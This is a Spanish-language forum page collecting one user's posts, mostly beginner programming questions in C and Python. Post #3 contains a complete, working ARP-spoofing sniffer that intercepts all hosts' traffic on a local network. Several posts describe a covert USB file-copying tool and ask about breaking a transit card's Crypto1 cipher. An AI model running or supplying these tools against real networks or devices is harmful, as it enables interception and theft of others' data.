Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Frijolito

#1
Hola, aunque el titulo no es muy explicativo quiero poder saber si puedo ver que cosa tiene copiado un usuario me explico, abres un txt que tiene un texto lo seleccionas y lo copias, esa copia tiene que estar almacenada en algun lado, queria saber si es posible leer esos datos o mejor aun sobre escribirlos.
#2
Bueno esta es una duda que tenia de como se propagan los ransomware, osea se tiene que un pc esta contagiado con el ransomware y se pasa a los pc que están conectados a la misma red, como es posible que pase algo como eso, si alguien sabe como funciona ese tema y me podría guiar un poco de donde empezar a leer del tema lo agradecería muchísimo , gracias de antemano
#3
Hola, estuve trabajando unos días en un sniffer con ARP_Spoofer incorporado que crea un archivo pcap para analizar el trafico después en wireshark y hacer lo que tengas que hacer con el. La cosa es que la idea principal era poder hacer esto para iPhone pero tengo entendido que no se puede programar con python en ios así que mi otra opción es usar un android viejo que tengo guardado y con qt pasarlo pero e buscado información y nada quería saber si alguien sabe algo al respecto para que me pueda ayudar, se que probablemente no funcione de una porque el tema de los sockets debe ser algo distinto en android pero la gracia es cambiar lo que sea necesario para que funcione en android. De todas maneras les dejo el codigo, esta en python 3, se tiene que ejecutar como administrador y poner el nombre del archivo en el que se va a guardar la informacion

Código: python
import socket
import struct
import sys
import netifaces
import nmap
import time
import threading
from scapy.all import Ether, ARP, srp, send

def ARP_Spoof( targets ,host ):
    enable_linux_iproute()
    print(' [*] Start ARP_Spoof')
    while dead:
        for target in targets:
            spoof( host, target )
            spoof( target, host )

def spoof( target_ip, host_ip ):
    target_mac = get_mac(target_ip)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    send(arp_response, verbose=0)

def restore( target_ip, host_ip ):
    target_mac = get_mac(target_ip)
    host_mac = get_mac(host_ip)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    send(arp_response, verbose=0, count=7)

def get_all_ip( host ):
    nm = nmap.PortScanner()
    host += '/24'
    nm.scan( host )
    return nm.all_hosts()

def get_gateway_ip():
    x = netifaces.gateways()
    return x['default'][netifaces.AF_INET][0]

def get_mac( ip ):
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0 )
    if ans:
        return ans[0][1].src

def enable_linux_iproute():

    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open( file_path ) as f:
        if f.read() == 1:
            f.close()
            return
    with open(file_path, "w") as f:
        print(1, file=f)
        print(' [*] Ip route enable. ')

def disable_linux_iproute():
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open( file_path ) as f:
        if f.read() == 0:
            f.close()
            return
    with open(file_path, "w") as f:
        print(0, file=f)
        print(' [*] Ip route disable. ')

def ethernet_frame( data ):
    dest_mac, src_mac, proto = struct.unpack('! 6s 6s H', data[:14] )
    return get_mac_addr( dest_mac ), get_mac_addr( src_mac ), socket.htons( proto ), data[14:]

def ipv4_packet( data ):
    version = data[0] >> 4
    header  = data[0] & 15
    ECN     = data[1]
    length  = int.from_bytes( data[2:4], "big" )
    identification = data[4:6]
    ttl ,proto ,src ,target = struct.unpack('! 8x B B 2x 4s 4s', data[:20])
    return version ,header ,ECN ,length ,identification ,ttl ,proto , ipv4(src) ,ipv4(target) ,data[header*4:]

def icmp_packet( data ):
    icmp_type, code, checksum = struct.unpack('! B B H', data[:4])
    return icmp_type, code, checksum, data[4:]

def tcp_segment( data ):
    src_port, dest_port, sequence, acknow, offset_reserved_flag ,windows_size, checksum, urgent_pointer = struct.unpack('! H H L L H H H H', data[:20] )
    header_length = data[12] >> 4
    offset   = offset_reserved_flag >> 12
    flag_urg = ( offset_reserved_flag & 32 ) >> 5
    flag_ack = ( offset_reserved_flag & 16 ) >> 4
    flag_psh = ( offset_reserved_flag & 8  ) >> 3
    flag_rst = ( offset_reserved_flag & 4  ) >> 2
    flag_syn = ( offset_reserved_flag & 2  ) >> 1
    flag_fin =   offset_reserved_flag & 1
    flags = [flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin ]
    return src_port, dest_port, sequence, acknow, flags, header_length ,windows_size, checksum, urgent_pointer,data[20:]

def get_mac_addr( bytes_addr ):
    bytesString = map('{:02x}'.format, bytes_addr )
    return ':'.join(bytesString).upper()

def ipv4( bytes_addr ):
    return '.'.join(map(str, bytes_addr ))

def write_file( file, data ):
    ts_sec, ts_usec = map(int, str(time.time()).split('.'))
    length = len(data)
    file.write(struct.pack('@ I I I I', ts_sec, ts_usec, length, length))
    file.write( data )

if __name__ == '__main__':
    print(
        """
         ██████  ███▄    █  ██▓  █████▒  █████▒ ██▓███  ▓██   ██▓
       ▒██    ▒  ██ ▀█   █ ▓██▒▓██   ▒ ▓██   ▒ ▓██░  ██▒ ▒██  ██▒
       ░ ▓██▄   ▓██  ▀█ ██▒▒██▒▒████ ░ ▒████ ░ ▓██░ ██▓▒  ▒██ ██░
         ▒   ██▒▓██▒  ▐▌██▒░██░░▓█▒  ░ ░▓█▒  ░ ▒██▄█▓▒ ▒  ░ ▐██▓░
       ▒██████▒▒▒██░   ▓██░░██░░▒█░    ░▒█░    ▒██▒ ░  ░  ░ ██▒▓░
       ▒ ▒▓▒ ▒ ░░ ▒░   ▒ ▒ ░▓   ▒ ░     ▒ ░    ▒▓▒░ ░  ░   ██▒▒▒
       ░ ░▒  ░ ░░ ░░   ░ ▒░ ▒ ░ ░       ░      ░▒ ░      ▓██ ░▒░
       ░  ░  ░     ░   ░ ░  ▒ ░ ░ ░     ░ ░    ░░        ▒ ▒ ░░
             ░           ░  ░                            ░ ░
                                                         ░
            By: Frijolito
        """
    )

    if len(sys.argv) != 2:
        print(" [!] Syntax error")
        print(" [!] sudo python3 sniffpy.py <filename.pcap>" )
        print(" [!] The file does not have to exist")
        exit(1)

    host = get_gateway_ip()
    targets = get_all_ip( host )
    global dead
    dead = True

    file = open(sys.argv[1], "wb" )
    file.write( struct.pack('@ I H H i I I I', 2712847316, 2, 4, 0, 0, 65535, 1))

    conn  = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
    t = threading.Thread( target = ARP_Spoof ,name = 'ARP_SPOOF', args=( targets ,host) )
    t.start()
    time.sleep( 5 )

    print(' [*] Start sniffing. \n')
    print(' [*] Source          | Destination     | Protocol | Lenght | Info ')
    print(' --------------------+-----------------+----------+--------+-------')
    try:
        while True:
            raw_data, addr = conn.recvfrom( 65536 )
            write_file( file, raw_data )
            dest_mac, src_mac, eth_proto, data = ethernet_frame( raw_data )     # Primeros 14 bytes
            if dest_mac != '00:00:00:00:00:00' and src_mac != '00:00:00:00:00:00':
                if eth_proto == 8:
                    version ,header ,ECN ,length ,identification ,ttl ,proto , src ,target ,data = ipv4_packet(data)
                    if proto == 1:
                        icmp_type, code, checksum, data = icmp_packet( data )
                        print(f' [+] {src:15} | {target:15} |   ICMP   | ')
                    elif proto == 6:
                        src_port, dest_port, sequence, acknow, flags, header_length ,windows_size, checksum, urgent_pointer ,data = tcp_segment( data )
                        flags_ = []
                    # [flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin ]
                        if flags[0]:
                            flags_.append('URG')
                        elif flags[1]:
                            flags_.append('ACK')
                        elif flags[2]:
                            flags_.append('PSH')
                        elif flags[3]:
                            flags_.append('RST')
                        elif flags[4]:
                            flags_.append('SYN')
                        elif flags[5]:
                            flags_.append('FIN')
                        print(f' [+] {src:15} | {target:15} |   TCP    |  {length:4}  | {src_port:5} -> {dest_port:5}  {flags_}')
    except KeyboardInterrupt:
        file.close()
        dead = False
        print(' [*] Stop the sniffing')
        print(' [*] Stop the ARP Spoof')
        disable_linux_iproute()
        for target in targets:
            restore(target, host)
            restore(host, target)


Tambien me gustaria preguntar si alguien sabe algun metodo para saber las ip's de los demas equipos conectados a la red que no demore tanto como nmap, eso seria de mucha ayuda
#4
Últimamente estoy aprendiendo temas de electrónica y estoy reciente empezando con instrucciones en binario y y disenso de RAM y CPU básicos, pero llegue al punto hablan de assembler como un lenguaje a la vez que un compilador o programa y tengo la duda de que es lo que es assembler, si es un programa que pasa sus instrucciones a binario pasando por algún circuito aparte o un lenguaje que usa algún compilador aparte ? la pregunta es corta la verdad pero buscando en internet no encontré una respuesta adecuada
#5
Hola tengo un proyecto en el cual tengo que leer los datos que entran por un puerto USB desde un lector de código de barras y nunca antes había usando en algún programa un input que venga de otro lado que no sea un teclado y no podemos usar algún tipo de microcontrolador o microprocesador como rb3 y arduino ya que la idea es que funcione en un notebook, alguien sabe algo al respecto ya que en google no encontré mucha información que digamos
#6
Hola tengo un problema, tengo un seguidor de linea en arduino y se nos ocurrió una idea para calibrar ( aunque ya esta listo ) es que ande 10seg envie el error y que segun eso el pc haga unos cálculos y envié los datos para cambiar las variables.

Sabiendo eso tengo un pc HP Pavilion con bluetooth y quiero saber si es posible hacer un programa que pueda recibir y enviar datos por bluetooth usando el pc sin tener que conectar un modulo, si alguien tiene un poco de documentación sobre el tema seria de mucha ayuda , aunque el lenguaje es indiferente ojala puede ser en c/c++ o python. Gracias de antemano
#7
Buenos dias, tengo un problema muy simple estoy haciendo un programa que cifre un texto de 16 bytes con aes pero al probrar si el texto de salida es el mismo que en esta pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta aunque da el resultado en base64 lo paso a hex con esta pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, y el resultado de mi programa no es el mismo que el de la pagina, adjunto fotos:








El codigo es bantante extenso pero esta comentado y les dejare el pdf que estoy siguiendo para hacer el codigo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void ExpandirClave( unsigned char Clave[4][4], unsigned char ClaveExpandida[4][44] );
void Encriptar( unsigned char Texto[4][4] , unsigned char Claves[4][44] );

// Pasos para encriptar

void MixColums( unsigned char Texto[4][4] );
void SubBytes( unsigned char Texto[4][4] );
void ShiftRows( unsigned char Texto[4][4] );
void AddRoundKey( unsigned char Clave[4][4], unsigned char Texto[4][4] );

int S_Box( int Post ); // S_BOX No se que wea es pero se tiene que usar
int RCON[11] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};

int main(){

printf("\n\t\t\t\t\t\t Cifrado AES " );
printf("\n\t\t\t\t\t\tBy: Frijolito" );
printf("\n");

// Se usa el unsigned para que tome valores de [0 - 255]

unsigned char Texto[16] = {'A','r','e','_','Y','o','u','_','a','_','1','_','o','r','_','0'};
unsigned char Matriz_Texto[4][4];
unsigned char Clave[16] = {'I','m','T','h','e','O','n','e','W','h','o','K','n','o','c','k'};
unsigned char Matriz_Clave[4][4];

unsigned char SubsClaves[4][44]; // Se almacenan todas las subclaves aca

printf("\n\t  [>>] Texto: ");
for( int i=0 ; i<16 ; i++ ){
printf("0x%2x ", Texto[i] );
}

printf("\n\t  [>>] Clave: ");
for( int i=0 ; i<16 ; i++ ){
printf("0x%2x ", Clave[i] );
}
printf("\n");

for( int i=0 ; i<4 ; i++ ){ // Se pasa el texto a una matriz
for( int j=0 ; j<4 ; j++ ){
Matriz_Texto[j][i] = Texto[i*4 +j];
}
}

for( int i=0 ; i<4 ; i++ ){ // Se pasa la clave a una matriz
for( int j=0 ; j<4 ; j++ ){
Matriz_Clave[j][i] = Clave[i*4 +j];
}
}

ExpandirClave( Matriz_Clave, SubsClaves );
Encriptar( Matriz_Texto, SubsClaves );

printf("\t  [>>] Texto cifrado hex: ");
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
printf("0x%2x ", Matriz_Texto[i][j] );
}
}
printf("\n\t  [>>] Texto cifrado dec: ");
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
printf("%c ", Matriz_Texto[i][j] );
}
}

printf("\n");

return 0;
}

void ExpandirClave( unsigned char Clave[4][4], unsigned char ClaveExpandida[4][44] ){

printf("\n\t  [!!] Generando SubsClaves.");

unsigned char CopiaColumna[4];
char Aux;

for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
ClaveExpandida[i][j] = Clave[i][j];
}
}

for( int i=4 ; i<44 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
CopiaColumna[j] = Clave[j][i-1];
}

if( i%4 == 0 ){

Aux = CopiaColumna[0];  // Se aplica RotWord de 1 byte   
CopiaColumna[0] = CopiaColumna[1];
CopiaColumna[1] = CopiaColumna[2];
CopiaColumna[2] = CopiaColumna[3];
CopiaColumna[3] = Aux;

for( int j=0 ; j<4 ; j++ ){
CopiaColumna[j] = S_Box(CopiaColumna[j]);
}

CopiaColumna[0] = CopiaColumna[0] ^ RCON[i/4];
}

for( int j=0 ; j<4 ; j++ ){
ClaveExpandida[j][i] = ClaveExpandida[j][i-4] ^ CopiaColumna[j];
}
}
printf("\n\t  [!!] SubsClaves generadas.\n");
}

void Encriptar( unsigned char Texto[4][4], unsigned char Claves[4][44] ){

printf("\n\t  [!!] Encriptando.\n");

unsigned char SubsClaves[4][4];
int x = 4;

// Ronda Inicial

printf("\n\t     [>>] Ronda inicial ");

for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
SubsClaves[i][j] = Claves[i][j];
}
}
AddRoundKey( SubsClaves, Texto );
printf("Lista.");

// Ronda Media

printf("\n\t     [>>] Ronda media ");
for( int i=0 ; i<=9 ; i++ ){
SubBytes( Texto );
ShiftRows( Texto );
MixColums( Texto );
for( int j=0 ; j<4 ; j++ ){
for( int h=x ; h<x+4 ; h++ ){
SubsClaves[j][h-x] = Claves[j][h];
}
}
x = x + 4;
AddRoundKey( SubsClaves, Texto );
}
printf("Listo.");

// Ronda Final

printf("\n\t     [>>] Ronda final ");
SubBytes( Texto );
ShiftRows( Texto );
for( int i=0 ; i<4 ; i++ ){
for( int j=40 ; j<44 ; j++ ){
SubsClaves[i][j-40] = Claves[i][j];
}
}
AddRoundKey( SubsClaves, Texto );
printf("Listo.\n\n");

}

void AddRoundKey( unsigned char Clave[4][4], unsigned char Texto[4][4] ){
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
Texto[i][j] = Texto[i][j] ^ Clave[i][j];
}
}
}

void SubBytes( unsigned char Texto[4][4] ){
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
Texto[i][j] = S_Box( Texto[i][j] );
}
}
}

void ShiftRows( unsigned char Texto[4][4] ){
unsigned char ClaveAux;
int k = 1;
for( int i=1 ; i<4 ; i++ ){
for( int h=0 ; h<k ; h++){
ClaveAux = Texto[i][0];
for( int j=0 ; j<4 ; j++ ){
Texto[i][j] = Texto[i][j+1];
}
Texto[i][3] = ClaveAux;
}
k = k + 1;
}
}

void MixColums( unsigned char r[4][4] ){

unsigned char a[4];
    unsigned char b[4];
    unsigned char h;

    /* The array 'a' is simply a copy of the input array 'r'
     * The array 'b' is each element of the array 'a' multiplied by 2
     * in Rijndael's Galois field
     * a[n] ^ b[n] is element n multiplied by 3 in Rijndael's Galois field */

    for ( int i=0 ; i<4 ; i++ ) {
    for( int j=0 ; j<4 ; j++ ){
        a[i] = r[j][i];
        // h is 0xff if the high bit of r[c] is set, 0 otherwise
        h = (unsigned char)((signed char)r[j][i] >> 7); // arithmetic right shift, thus shifting in either zeros or ones
        b[i] = r[j][i] << 1;     // implicitly removes high bit because b[c] is an 8-bit char, so we xor by 0x1b and not 0x11b in the next line
        b[i] ^= 0x1B & h; // Rijndael's Galois field
    }

    r[0][i] = b[0] ^ a[3] ^ a[2] ^ b[1] ^ a[1]; /* 2 * a0 + a3 + a2 + 3 * a1 */
    r[1][i] = b[1] ^ a[0] ^ a[3] ^ b[2] ^ a[2]; /* 2 * a1 + a0 + a3 + 3 * a2 */
    r[2][i] = b[2] ^ a[1] ^ a[0] ^ b[3] ^ a[3]; /* 2 * a2 + a1 + a0 + 3 * a3 */
    r[3][i] = b[3] ^ a[2] ^ a[1] ^ b[0] ^ a[0]; /* 2 * a3 + a2 + a1 + 3 * a0 */

    }
}

int S_Box( int Post ){ // S_BOX No se que wea es pero se tiene que usar

int s_box[256] = {
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };

return s_box[Post];
}
#8
Buenos dias, tengo un pequeno problema con leer un archivo cambiar el caracter que lei y volver a escribirlo en el archivo ya habia hecho esto hace mucho tiempo pero no se que ocurre ahora que no funciona les dejo el codigo, esta en c


Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){

FILE *file;

file = fopen("Prueba.txt", "rb+");

char c;
char key = '0';
int x = 1;

while( (c = fgetc(file)) != EOF ){
printf("%c", c);
c = c^key;
fputc(c, file);
fseek( file, x, SEEK_SET );
x++;
}

fclose(file);
return 0;
}
#9
Hola, tengo una duda y es que tenemos un chat en telegram con unos amigos y hay un juego donde tienes que sumar restar dividir o multiplicar 2 números y el que logra hacer mas operaciones en un tiempo gana y me fije que esas variables están en el html y quería saber como puedo sacar esas variables para poder hacer un bot que juegue automáticamente investigue pero no encontré nada en el tema aunque solo busque en paginas en español , bueno si alguien sabe algo del tema y lo quiere compartir lo agradecería mucho. Gracias de antemano.
#10
Hola la verdad en el titulo no se explica bien lo que quiero preguntar pero lo explico mejor aca, la cosa es yo aprendí a programar pero no aprendí como lo mas básico de la ingeniería o como funciona el cpu ( si se puede llamar de esa forma ) asi que me puse a estudiar la maquina de Von Neumann para entender mejor el tema y me entro una idea a la cabeza, si

add ---> 011  = 3
sub ---> 101  = 5
mul ---> 001  = 1
div  ---> 000  = 0
jmp ---> 111  = 6

Entonces mi duda si ordeno esos números y los paso por la cpu ejemplo:

      AC <- 5
      1-. add 2
      2-. sub

existe alguna forma de que eso me de 10 o algo asi, eso me manda error pero debe ser por el compilador supongo

Tengo entendido que en pokemon zafiro si guardabas algunos pokemon en cierto orden osea dependiendo de su valor binario se podian hacer varios tipos de operaciones simples y creo que eso aplica también a mi duda. sorry si la pregunta es muy estúpida pero quede con la duda. Gracias de antemano.




#11
Hola, estoy haciendo un proyecto en el cual se mide la humedad del agua, temperatura, y luz y dependiendo de la información apaga la luz, se activa un ventilador o deja pasar el agua pero no se como hacer lo ultimo, no si si existe un modulo para dejar pasar el agua o algo parecido ya que necesito que el paso de agua sea leve para poder hacer un riego por goteo para ahorrar agua, espero sus respuestas gracias de antemano.
#12


Estoy haciendo un programa y necesito que se puedan pasar archivos a través de los sockets pero el programa se queda pegado el server el cual enviá el archivo y el cliente se pega, también abrir el archivo en modo binario (no se si se dice así) y tampoco funciono . Gracias de antemano.

Esta es para enviar.


Código: c
void EnviarArchivo( int sock, char Name_file[50] ){

FILE *file;
file = fopen(Name_file, "r");

char Buff[1000];

while( fgets( Buff ,1000 ,file) != NULL ){
    send(sock, Buff, sizeof(Buff), 0);
}
send(sock, "Listo.", sizeof("Listo."), 0);
fclose(file);


y esta parte es para recibir.


Código: c
void RecibirArchivo( int sock, char Name_file[50] ){
FILE *file;
char Buff[1000];

file = fopen(Name_file, "w");
while(strcmp(Buff,"Listo.")){
    recv( sock ,Buff ,1000 , 0 );
    if(strcmp(Buff, "Listo.")){
        fputs( Buff, file );
    }
}
fclose(file);


Si necesitan otra parte del codigo editare el post.
#13
Hola, quería saber si se puede almacenar la salida de la función system() se que la función es un int y no guarda texto obviamente, pero si existe alguna forma de guardalo tal vez con otra función o algo, gracias de antemano
#14
Solo tengo una pequeña duda, si es que existe esta pagina en español  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o una similar que contenga funciones de programación y los resultados que devuelve o con que tipos de datos se rellenan las dichas funciones. Gracias de antemano
#15
Hola, los últimos días e estado haciendo un programa inspirado en la serie Mr Robot, en un episodio de la tercera temporada un miembro de la dark army conecta un pendrive en el PC de Eliot y este roba sus datos, Es algo muy básico pero igual lo quise hacer para aportar al algo. Existen 2 codigos para este programa uno para Linux y otro para Windows ambos en GitHub, aunque de momento solo tengo el ejecutable de windows voy a subir el de Linux pronto aunque si compilan debería ser suficiente.

Codigo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Les voy a dejar un ejemplo de como usarlo.


Código: php

UsbDumper.exe C:\Users\jm_ra\Documents\Copias

La ruta que escribí en la terminal es donde se va a guardar los datos obtenidos del pendrive.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Después de eso cada 1 segundo el programa va a preguntarse a si mismo si se a conectado un pendrive conectado y por efectos prácticos para mostrar que no a encontrado nada imprime ese mensaje en pantalla


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cuando ya se a conectado un pendrive, hace una búsqueda recursiva entre los directorios, también obtiene datos de archivos escondidos, e imprime los nombres de cada archivos en la terminal y se cierra 
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y al entrar a la carpeta de introducimos al principio nos encontramos con los archivos, como ven tenia fotos, documentos de texto y un .DAT aunque también probé poniendo un exel y un word y funciona igual ya que abre el archivo de forma binaria en windows

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ademas de todo lo dicho me fije que podría funcionar en algunos teléfonos android viejos lo cuales no tienes que desbloquear el celular para acceder a los datos, pero solo en Linux.
También quería explicar que no e puesto la función de ocultar consola ya que quería hacer que la explicación sea mas fácil y que aun quedan algunos temas por pulir como la búsqueda recursiva aunque no sea tan terrible es mejorable y hacer el código mas legible ya que no tiene muchos comentarios y esta un poco desordenado pero obviando eso, esto seria todo.
#16
Hola tengo un pequeno problema, estoy haciendo un programa que copie todos los archivos de un pendrive al ser conectado y funciona la deteccion pero al intentar copiar el archivo no funciona, se crea el archivo pero no recibe la información les dejo el codigo para que prueben.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <windows.h>

void Copia(char *archivo, char *n_dir);

int main(){

DIR *dirE,*dirF,*dirG,*dirH, *dir ;

char *files;
char *n_dir;
struct dirent *ent;
int i = 1;

while( free ){
dirE = opendir("E:");
dirF = opendir("F:");
dirG = opendir("G:");
dirH = opendir("H:");
if(dirE != NULL){
n_dir = "E:/";
dir = dirE;
break;
}
if(dirF != NULL){
n_dir = "F:/";
dir = dirF;
break;
}
if(dirG != NULL){
n_dir = "G:/";
dir = dirG;
break;
}
if(dirH != NULL){
n_dir = "H:/";
dir = dirH;
break;
}
printf(" [!!] No se a encontrado el pendrive. \n" );
Sleep(500);
}

while( (ent = readdir(dir)) != NULL ){
if( (strcmp(ent->d_name,".")!=0) && (strcmp(ent->d_name,"..")!=0) ){
printf( "  %i-.%s \n",i ,ent->d_name );
i++;
files = ent->d_name;
Copia(files, n_dir);
}
}

return 0;
}

void Copia(char *archivo, char *n_dir){

char archivo2[200] = "C:/Users/jm_ra/Documents/Copias/Copia-";

strcat( archivo2,archivo );

FILE *file1 = fopen( archivo,"r" );
FILE *file2 = fopen( archivo2,"w" );

if(file1 == NULL || file2 == NULL ){
printf( "[!!] No se pudo abir el archivo ");
exit(0);
}

char c;

if(file1 == NULL || file2 == NULL){
printf("  [!!] No se pudo abrir el archivo\n");
}

while( (c = fgetc(file1)) != EOF ){
fputc(c,file2);
}

fclose(file1);
fclose(file2);

memset( archivo2, 0 ,200 );

}


Lo estoy programando en windows por si es importante de alguna manera. Gracias de antemano
#17
Hola se que hace poco publique algo sin relación con este tema, pero la cosa es que en la temporada 4 episodio 10 de  Mr.Robot Eliot hace un programa que cuando se conecta un pendrive en su notebook roba los datos de ese pendrive y pensaba intentar hacer algo parecido, pero no encuentro información para hacer eso en c/c++, solo encontré de como detectar un CD pero no uso cd y creo que ya nadie los usa así que si alguien tiene información del tema para hacerlo en c/c++ seria de mucha ayuda, gracias de antemano
#18
Hola, últimamente estaba probando como pasarme variables entre distintos programas y me di cuenta que se pueden sobre escribir variables cambiando los bytes en un espacio de memoria y tengo entendido que asi se hackean los juegos o por lo menos los single player y quería saber si alguien mas experimentado en este tema me pueda guiar un poco o me recomiende juegos para hacer un hack simple, la verdad esto de pasarme variables lo hacia en windows pero si es posible que sea en linux seria mejor. Gracias de antemano.
#19
Hola tengo un pequeño problema, la cosa es que me compre un notebook HP ya que entre a la universidad y no podía seguir usando un tarro gigante y quiero instalare ubuntu pero el problema es que llego a la parte donde tengo que elegir la disposición del teclado y se queda pegado, lo deje una hora y seguía pegado, pensé que pudo ser el pendrive y use otro pendrive para bootear pero pasaba el mismo problema, si alguien sabe como se puede solucionar lo amaría mucho, gracias de antemano
#20
Hola, la verdad tengo una duda muy simple la verdad, la cosa es que estaba pensado en la tarjeta BIP (Es una tarjeta que tiene saldo para usar en el trasporte publico en Santiago de Chile) y pensé que podía ser vulnerada y buscando en Internet vi que usan un cifrado llamado Cripto1 y que era simple de romper con fuerza bruta pero mi duda es cuando se que ya e roto el cifrado si no se que dice la tarjeta, ya tengo algunas teorías de como podría hacerlo, como puede ser cargar la tarjeta con un saldo especifico y en cada intento buscar alguna valor que coincida con el que tiene la tarjeta pero creo que debe existir una mejor opción. Gracias de antemano.
#21
Hola, la verdad estoy haciendo un juego de BlackJack y usando la estrategia básica: G*(mimano, crupier) = Max {G0 (mimano,crupier), Σ10 C=1 G*(x+c,b)} por si alguien le importa el tema.

La cosa es que tengo el código con la estadistica sobre la posibilidad de sacar BlackJack en cierta mano, Cuando doblar pedir, rendirse y todas esas cosas, pero en la parte donde tengo que mesclar las "cartas" siento que no funciona bien les dejo el la función que hice, es súper "bruta" si se puede llamar de esa manera
Código: cvoid
 Mesclar(){         
    int numal;
    int i;
    srand(time(NULL));
    for(i=0 ; i<10000 ; i++){
        numal = 1 + rand() % (14 + 1) - 1;
        if(ca+c2+c3+c4+c5+c6+c7+c8+c9+c10+cj+cq+ck == 312){
            break;
        }
        if(numal == 1 && ca<24){
            mazo[k] = 11;
            crestantes[k] = 11;
            k++;
            ca++;
        }
        if(numal == 2 && c2<24){
            mazo[k] = 2;
            crestantes[k] = 2;
            k++;
            c2++;
        }
        if(numal == 3 && c3<24){
            mazo[k] = 3;
            crestantes[k] = 3;
            k++;
            c3++;
        }
        if(numal == 4 && c4<24){
            mazo[k] = 4;
            crestantes[k] = 4;
            k++;
            c4++;
        }
        if(numal == 5 && c5<24){
            mazo[k] = 5;
            crestantes[k] = 5;
            k++;
            c5++;
        }
        if(numal == 6 && c6<24){
            mazo[k] = 6;
            crestantes[k] = 6;
            k++;
            c6++;
        }
        if(numal == 7 && c7<24){
            mazo[k] = 7;
            crestantes[k] = 7;
            k++;
            c7++;
        }
        if(numal == 8 && c8 <24){
            mazo[k] = 8;
            crestantes[k] = 8;
            k++;
            c8++;
        }
        if(numal == 9 && c9<24){
            mazo[k] = 9;
            crestantes[k] = 9;
            k++;
            c9++;
        }
        if(numal == 10 && c10<24){
            mazo[k] = 10;
            crestantes[k] = 10;
            k++;
            c10++;
        }
        if(numal == 11 && cj<24){
